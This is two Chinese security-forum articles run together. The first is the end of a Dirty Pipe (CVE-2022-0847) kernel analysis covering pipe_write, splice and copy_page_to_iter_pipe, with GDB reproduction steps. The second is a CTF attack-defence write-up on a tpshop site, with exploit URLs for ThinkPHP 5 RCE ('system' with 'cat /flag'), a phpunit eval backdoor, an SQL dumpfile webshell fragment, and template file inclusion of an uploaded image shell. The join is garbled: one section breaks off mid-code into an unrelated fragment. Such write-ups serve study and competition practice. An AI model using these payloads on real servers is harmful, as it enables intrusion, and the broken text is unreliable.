* 使用 `kzalloc` 函数创建一个 `pipe_inode_info` 实例。`kzalloc` 函数与 `kmalloc` 类似，只不过会初始化分配的内存。
* 根据用户是否有 `CAP_SYS_RESOURCE` 权限决定 pipe 缓冲区的大小，并保存在 `pipe_bufs` 变量里。缓冲区的大小以页为单位。非 root 用户可以将缓冲区大小扩展为最大 `1048576` 个字节，保存在 `pipe_max_size` 变量中。可以通过 `/proc/sys/fs/pipe-max-size` 调整这个值。默认大小为 `PIPE_DEF_BUFFERS` （16）个内存页。
* 检查当前用户是否创建了过多的 pipe。
* 调用 `kcalloc` 函数为 `pipe_inode_info` 结构体的 `bufs` 字段分配内存。`kcalloc` 与 `kzalloc` 类似，只不过是分配连续若干个指定大小的内存块。
* 初始化 `pipe_buffer` 中的其它成员：
* 初始化读写队列。
* 将读者和写者的数量初始化为 1。
* pipe 的最大可使用量、缓冲区大小、记账个数都初始化为 `pipe_bufs` 变量的值。
* 设置用户为当前用户。
* 初始化互斥锁。
#### 读写 pipe
上文中提到的 `pipefifo_fops` 是一个 `struct file_operations` 类型的常量，表示 pipe
文件支持的文件操作有哪些，以及保存了对应操作的函数指针：
const struct file_operations pipefifo_fops = {
.open = fifo_open,
.llseek = no_llseek,
.read_iter = pipe_read,
.write_iter = pipe_write,
.poll = pipe_poll,
.unlocked_ioctl = pipe_ioctl,
.release = pipe_release,
.fasync = pipe_fasync,
};
在上面 `create_pipe_files()` 函数中，会将 `file` 结构体实例的 `f_op` 字段设置成 `pipefifo_fops`
结构体的指针。用户态执行上面支持的系统调用时，VFS 会调用结构体中相应的函数。
ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
{
...
if (file->f_op->write)
ret = file->f_op->write(file, buf, count, pos);
else if (file->f_op->write_iter)
ret = new_sync_write(file, buf, count, pos);
...
}
以 `write(2)` 系统调用为例，进入系统调用入口之后，实际会调用 `vfs_write()` 函数。而 pipe 支持 `write_iter`
而不是 `write`，因此会接着执行 `new_sync_write()`:
static ssize_t new_sync_write(struct file *filp, const char __user *buf, size_t len, loff_t *ppos)
{
struct iovec iov = { .iov_base = (void __user *)buf, .iov_len = len };
struct kiocb kiocb;
struct iov_iter iter;
ssize_t ret;
init_sync_kiocb(&kiocb, filp);
kiocb.ki_pos = (ppos ? *ppos : 0);
iov_iter_init(&iter, WRITE, &iov, 1, len);
ret = call_write_iter(filp, &kiocb, &iter);
BUG_ON(ret == -EIOCBQUEUED);
if (ret > 0 && ppos)
*ppos = kiocb.ki_pos;
return ret;
}
`call_write_iter()` 是一个内联函数：
static inline ssize_t call_write_iter(struct file *file, struct kiocb *kio,
struct iov_iter *iter)
{
return file->f_op->write_iter(kio, iter);
}
其它系统调用类似，不再赘述。总之，从 pipe 中读取数据时，最终调用的是 `pipe_read()` 函数；向 pipe 中写入数据时，最终调用的是
`pipe_write()` 函数。
##### pipe_write()
先来看 `pipe_write()` 函数的主要流程：
* 如果 pipe 读者的数量为 0，则向进程发送 `SIGPIPE` 信号，并返回 `EPIPE` 错误。
* 计算要写入的数据总大小是否是页帧大小的倍数，并将余数保存在 `chars` 变量中。
* 如果 `chars` 不为零，而且 pipe 不为空，则：
* 获取 pipe 头部的缓冲区。
* 如果缓冲区设置了标志位 `PIPE_BUF_FLAG_CAN_MERGE`，且缓冲区中已有的数据长度与 `chars` 的和不超过一个页帧的大小，则将 `chars` 长度的数据写入到当前的缓冲区中。
* 如果剩余要写入的数据大小为零，则直接返回。
* 在 for 循环中：
* 判断 pipe 的读者数量是否为零。
* 如果 pipe 没有被填满：
* 获取 pipe 头部的缓冲区。
* 如果还没有为缓冲区分配页帧，则调用 `alloc_page()` 函数分配一个。
* 使用自旋锁锁住 pipe 的读者等待队列。再次检测 pipe 是否被填满，是则终止当前循环，执行下一次循环。
* 将 `struct pipe_inode_info` 实例的 `head` 字段值增加 1。并释放自旋锁。
* 设置当前缓冲区的字段。
* 如果创建 pipe 时指定了 `O_DIRECT` 选项，则将缓冲区的 `flags` 字段设置为 `PIPE_BUF_FLAG_PACKET`，否则设置为 `PIPE_BUF_FLAG_CAN_MERGE`。
* 将要写入的数据拷贝到当前的缓冲区中，并设置相应的偏移量字段。
#### splice 系统调用
`splice()` 系统调用避免在内核地址空间与用户地址空间的拷贝，从而快速地在两个文件描述符之间传递数据。函数原型为：
#define _GNU_SOURCE
#include <fcntl.h>
ssize_t splice(int fd_in, off64_t *off_in, int fd_out, off64_t *off_out, size_t len, unsigned int flags);
此次漏洞使用的情况是从文件向管道传递数据，因此 `fd_in` 指代一个普通文件，`off_in` 表示从指定的文件偏移处开始读取，`fd_out`
指代一个 pipe，`len` 表示要传输的数据长度，`flags` 表示标志位。详细情况可以参考手册。
看看 `splice()` 系统调用的主要流程。系统调用的定义在 `fs/splice.c` 文件中，主要工作由 `__do_splice()` 函数完成。
`__do_splice()` 在做完简单的参数检查之后，又调用 `do_splice()` 函数实现主要工作。
`do_splice()` 中，会根据两个文件描述符的类型进入不同的分支。当前情况下，`fd_out` 指代一个 pipe，因此会进入 `if
(opipe)` 这个分支。主要工作通过 `do_splice_to()` 函数完成。
/*
* Determine where to splice to/from.
*/
long do_splice(struct file *in, loff_t *off_in, struct file *out,
loff_t *off_out, size_t len, unsigned int flags)
{
struct pipe_inode_info *ipipe;
struct pipe_inode_info *opipe;
loff_t offset;
long ret;
// 判断两个文件描述符的打开模式是否符合条件
if (unlikely(!(in->f_mode & FMODE_READ) ||
!(out->f_mode & FMODE_WRITE)))
return -EBADF;
ipipe = get_pipe_info(in, true);
opipe = get_pipe_info(out, true);
// 当 in 和 out 都是 pipe 的情况
if (ipipe && opipe) {
if (off_in || off_out)
return -ESPIPE;
/* Splicing to self would be fun, but... */
if (ipipe == opipe)
return -EINVAL;
if ((in->f_flags | out->f_flags) & O_NONBLOCK)
flags |= SPLICE_F_NONBLOCK;
return splice_pipe_to_pipe(ipipe, opipe, len, flags);
}
// 当 in 是 pipe 的情况
if (ipipe) {
......
}
// 当 out 是 pipe 的情况
if (opipe) {
// 不能为 pipe 设置偏移量
if (off_out)
return -ESPIPE;
if (off_in) {
if (!(in->f_mode & FMODE_PREAD))
return -EINVAL;
offset = *off_in;
} else {
offset = in->f_pos;
}
if (out->f_flags & O_NONBLOCK)
flags |= SPLICE_F_NONBLOCK;
// 获取 pipe 的锁
pipe_lock(opipe);
// 等待 pipe 有可使用的缓冲区
ret = wait_for_space(opipe, flags);
if (!ret) {
unsigned int p_space;
// 计算能够读取的文件长度，不应该超过 pipe 剩余的缓冲区大小
/* Don't try to read more the pipe has space for. */
p_space = opipe->max_usage - pipe_occupancy(opipe->head, opipe->tail);
len = min_t(size_t, len, p_space << PAGE_SHIFT);
// 调用 do_splice_to() 实现主要工作
ret = do_splice_to(in, &offset, opipe, len, flags);
}
// 释放 pipe 的锁
pipe_unlock(opipe);
if (ret > 0)
// 唤醒 pipe 的读者等待队列中的进程
wakeup_pipe_readers(opipe);
if (!off_in)
in->f_pos = offset;
else
*off_in = offset;
return ret;
}
return -EINVAL;
}
##### do_splice_to()
在 `do_splice_to()` 中，主要功能是通过输入文件的 `splice_read()` 方法实现的。这里以 `ext4` 文件系统为例，在
`fs/ext4/file.c` 文件中查看 `ext4_file_operations` 变量可知，`ext4` 文件系统中，`splice_read`
使用的是定义在 `fs/splice.c` 中的 `generic_file_splice_read()` 方法。接着通过调试可知接下来的函数调用链：
generic_file_splice_read() -> call_read_iter() -> generic_file_buffered_read() -> copy_page_to_iter() -> copy_page_to_iter_pipe()
`call_read_iter()` 是一个定义在 `include/linux/fs.h` 中的内联函数，实际调用的是输入文件的
`read_iter()` 方法。而 `ext4` 文件系统的 `read_iter()` 方法是
`ext4_file_read_iter()`。在当前情况下，会调用 `generic_file_rad_iter()`，其接着调用
`generic_file_buffered_read()`。
##### copy_page_to_iter_pipe()
`generic_file_buffered_read()` 是通用的文件读取例程，将文件读取到 page cache 后会通过
`copy_page_to_iter()` 函数将文件对应的 page cache 与 pipe 的缓冲区关联起来。实际的关联操作通过定义在
`/lib/iov_iter.c` 中的 `copy_page_to_iter_pipe()` 实现：
/*
* page 是文件对应的内存页帧，pipe 实例被包裹在 struct iov_iter 实例中
*/
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
unsigned int p_tail = pipe->tail;
unsigned int p_mask = pipe->ring_size - 1;
unsigned int i_head = i->head;
size_t off;
if (unlikely(bytes > i->count))
bytes = i->count;
if (unlikely(!bytes))
return 0;
if (!sanity(i))
return 0;
off = i->iov_offset;
buf = &pipe->bufs[i_head & p_mask];
if (off) {
if (offset == off && buf->page == page) {
/* merge with the last one */
buf->len += bytes;
i->iov_offset += bytes;
goto out;
}
i_head++;
buf = &pipe->bufs[i_head & p_mask];
}
if (pipe_full(i_head, p_tail, pipe->max_usage))
return 0;
buf->ops = &page_cache_pipe_buf_ops;
// 增加 page 实例的引用计数
get_page(page);
// 将 pipe 缓冲区的 page 指针指向文件的 page
buf->page = page;
buf->offset = offset;
buf->len = bytes;
pipe->head = i_head + 1;
i->iov_offset = offset + bytes;
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}
### 漏洞复现
#### 分析
如果了解了向 pipe 写入数据的过程，以及 `splice()` 系统调用从文件向 pipe
传输数据的过程，就不难理解漏洞的形成原因了。对照漏洞发现者提供的 PoC 来解释漏洞形成原因：
* 首先创建一个 pipe。接着每次向 pipe 中写入一个页帧大小的数据。从 `pipe_write()` 可知，每次写入都不会进入 `if (chars && !was_empty)` 这个分支，因为写入数据的大小为页帧大小的整数倍时，`chars` 的值总为零。创建 pipe 的时候没有指定 `O_DIRECT` 标志，因此在 for 循环中会将每个 `pipe_buffer` 的标志位设置为 `PIPE_BUF_FLAG_CAN_MERGE`。
* 接下来打开要覆写的文件，并通过 `splice()` 系统调用向 pipe 中写入一个字节。根据 `splice()` 的实现，将文件从硬盘读取到 page cache 后，会把文件对应的 page 与 `pipe_buffer` 的 `page` 字段关联起来，并且不会重置 `pipe_buffer` 的 `flags` 字段。也就是说，此时 `flags` 字段的值仍为 `PIPE_BUF_FLAG_CAN_MERGE`。
* 最后向 pipe 中写入小于一个页帧大小的数据。进入 `pipe_write()` 之后，会进入 `if (chars && !was_empty)` 分支。由于在 `copy_page_to_iter_pipe()` 中，将文件的 page 与 `pipe_buffer` 的 `page` 字段关联之后，将 `pipe_inode_info` 实例的 `head` 值增加了 1，因此为了将小于一个页帧的数据写入到前一个 `pipe_buffer` 中， if 分支里获取 `pipe_buffer` 的时候将 `head` 值减 1，从而此时 `pipe_buffer` 的 page 指向的是文件的 page。
#### 调试验证
首先创建一个要覆写的文件并用随机字符串填充：
然后在 GDB 中分别在 `pipe_write` 和 `copy_page_to_iter_pipe` 两个函数设置断点：
然后在 GDB 中使用 `continue` 命令让虚拟机继续运行，并执行 PoC 程序。然后会在 `pipe_write` 处停止。使用下面的 GDB
脚本可以看到，pipe 的所有 `pipe_buffer` 中的标志位都为零：
set $index = 0
while ($index < pipe->ring_size)
print pipe->bufs[$index++]->flags
end
然后接着执行 15 次 `continue` 命令，在第 16 次向 pipe 中写入数据之前停止。再次查看所有 `pipe_buffer`
的标志位，发现都被置为了 `PIPE_BUF_FLAG_CAN_MERGE`：
当最后一次 `pipe_write` 执行完后，`pipe->head` 的值为 16。
接着执行 `continue` 命令，会在 `copy_page_to_iter_pipe` 处停下来。单步进入几步之后，先把 `pipe`
变量和文件对应的 page 实例的地址保存到变量中。
因为当前 `pipe->head` 的值是 16，而 `pipe->ring_size` 的值时默认的 16，因此第 395 行代码中取到的是第一个
`pipe_buffer`。
接下来将文件的 page 与 `pipe_buffer` 的 `page` 字段关联起来，并将 pipe 的 `head` 字段加一，即此时为 17。
接着 continue，会停在 `pipe_write` 处。接着单步执行，会进入触发漏洞的 if 分支。然后查看 `buf->page`
的值，和之前保存的文件的 page 的地址相同。继续之后，文件覆写成功：
#### 低权限用户篡改没有写权限文件的验证
在上面的验证过程中，由于使用的是最简单的内核以及 busybox，因此使用 root 用户。为了验证低权限用户可以成功篡改没有写权限的文件，在此使用
`ArchLinux` 发行版，以 `5.10.69-1-lts` 内核版本作验证：
#### 结论
经复现过程可知，漏洞利用方式相对简单，建议受影响的机器立即升级到官方最新版本。
### 参考资料
^1: <https://dirtypipe.cm4all.com/>
^2: <https://access.redhat.com/security/cve/cve-2022-0847>
^3: <https://access.redhat.com/security/vulnerabilities/RHSB-2022-002>
^4: <https://security-tracker.debian.org/tracker/CVE-2022-0847>
^5: <https://man7.org/linux/man-pages/man2/splice.2.html>
^6: <https://man7.org/linux/man-pages/man2/pipe.2.html>
^7: <https://lwn.net/Articles/118750/>
^8: <https://www.slideshare.net/divyekapoor/linux-kernel-implementation-of-pipes-and-fifos>
^9: <https://book.douban.com/subject/4843567//> | 社区文章 |
## introduction
有幸参与了祥云杯决赛，由于这次的AWD题目相对比较有意思，特此记录，线下AWD共放出2道Web环境，但由于其中一道不可抗拒的因素，在开始后不久就被主办方下线，所以此文只分析另一道被打了一天的web环境。两道题环境都会提供在文章最下方
## 第一个洞
首先用自己的AWD框架把源码下到本地，扔到D盾
复现vulhub的小伙伴肯定都知道这个CVE-2017-9841，<https://vulhub.org/#/environments/phpunit/CVE-2017-9841/>
<?php
eval('?>' . file_get_contents('php://input'));
我们可以直接post exp过去即可，这里也是发现得早批量写的快成功拿到比赛一血
## 第二个洞
此CMS为tpshop，但和网上公开的tpshop源码不太相同，既然是tp，肯定是要看看tp rce的漏洞的
全局搜索version 发现版本为5.0.7，疑似存在tp5 rce
用网上公开的exp
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat+/flag
并不能直接打成功，
因为并不存在index模块，我们就无法逃逸正则调用任意方法，我们需要找到一个默认存在的模块
（这里因为对tp5 rce原理不熟卡了好久）
其实首页随便点几个链接或者看源码就可以发现，此cms存在Home Admin等模块
## 第三四五个洞
由于cms为mvc，接下来从控制器下手，在home模块的控制器下面找到一个Test.php
<?php
?>' into dumpfile "/var/www/html/runtime/.2.php";%23
## 第七个洞
fetch函数文件包含
最后一个洞是倒数第二轮抓流量抓到的，并没有挖到
exp类似这样(本地复现方便，当时exp并不是这样）
<http://127.0.0.1/index.php/Home/Cart/header_cart_list?template=../../../runtime/temp/ma>
浏览runtime/temp/ma.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<?php phpinfo()?>
</body>
</html>
通过exp的url找到对应method
<?php
public function header_cart_list()
{
$cartLogic = new CartLogic();
$cartLogic->setUserId($this->user_id);
$cart_result = $cartLogic->getUserCartList(0);
if(empty($cart_result['total_price']))
$cart_result['total_price'] = Array( 'total_fee' =>0, 'cut_fee' =>0, 'num' => 0);
$this->assign('cartList', $cart_result['cartList']); // 购物车的商品
$this->assign('cart_total_price', $cart_result['total_price']); // 总计
$template = I('template','header_cart_list');
return $this->fetch($template);
}
u1s1我是第一次见tp fetch函数可控导致的文件包含，我只见过assgin可控导致的文件包含
[ThinkPHP5漏洞分析之文件包含](https://www.freebuf.com/column/207878.html)
在赛后复现的时候，发现fetch参数不仅可以目录穿越，也可以用绝对路径或者相对路径，通过../穿越选择我们想要的模板文件名，
下面是官方对fetch函数的解释
有点啰嗦，直接看源码吧。。
<?php
public function fetch($template, $data = [], $config = [])
{
if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
// 获取模板文件名
$template = $this->parseTemplate($template);
}
// 模板不存在 抛出异常
if (!is_file($template)) {
// if(strstr($template,'pre_sell_list')){
// header("Content-type: text/html; charset=utf-8");
// exit('要使用预售功能请联系TPshop官网客服,官网地址 www.tp-shop.cn');
// }
throw new TemplateNotFoundException('template not exists:' . $template, $template);
}
// 记录视图信息
App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info');
$this->template->fetch($template, $data, $config);
}
通过调试发现，上面代码4-7行，如果输入的参数无后缀，则
<?php
$template = MODULE_PATH.$template.".html"
也就是系统会在fetch参数前加上模板的绝对目录，参数后加上.html
如果有后缀，那么就会直接扔进is_file去判断，判断通过后，进入21行语句进行文件包含
我们可以通过上传一句话图片马或者其他文件至服务端，然后通过fetch造成文件包含
<http://127.0.0.1/index.php/Home/Cart/header_cart_list?template=runtime\temp\1.jpg>
当然这里绝路目录相对目录穿越目录及任意后缀都是可以的
## summary
其实比赛漏洞并不难，AWD主要还是选手的反应速度和脚本编写能力，我大部分时候都在上别人车，抓到新洞流量立马写批量反打，发现被中马看看其他环境有没有一样的马上车。以及被种不死马，蠕虫马，递归马等恶心的东西时候写脚本去删马，都耗费了大量的时间，真正留给挖洞的时间并不多。
当然本文章并没有把所有的洞都写完，有很多漏洞赛时并没有挖出，据说还有几个SQL注入，但当时我已经挖了一个就没继续看了，
而且看网上有很多tpshop后台的getshell。。当时比赛连后台都没进（好多人改密码）而且断网连exp都搜不到。。所以就没看了。。有感兴趣的师傅网上搜搜有很多exp和分析。
源码有点大上传不了，就扔baidu云了。
链接：<https://pan.baidu.com/s/1r35k7FSfE5M-erz-_quPjw>
提取码：kc2f | 社区文章 |
Subsets and Splits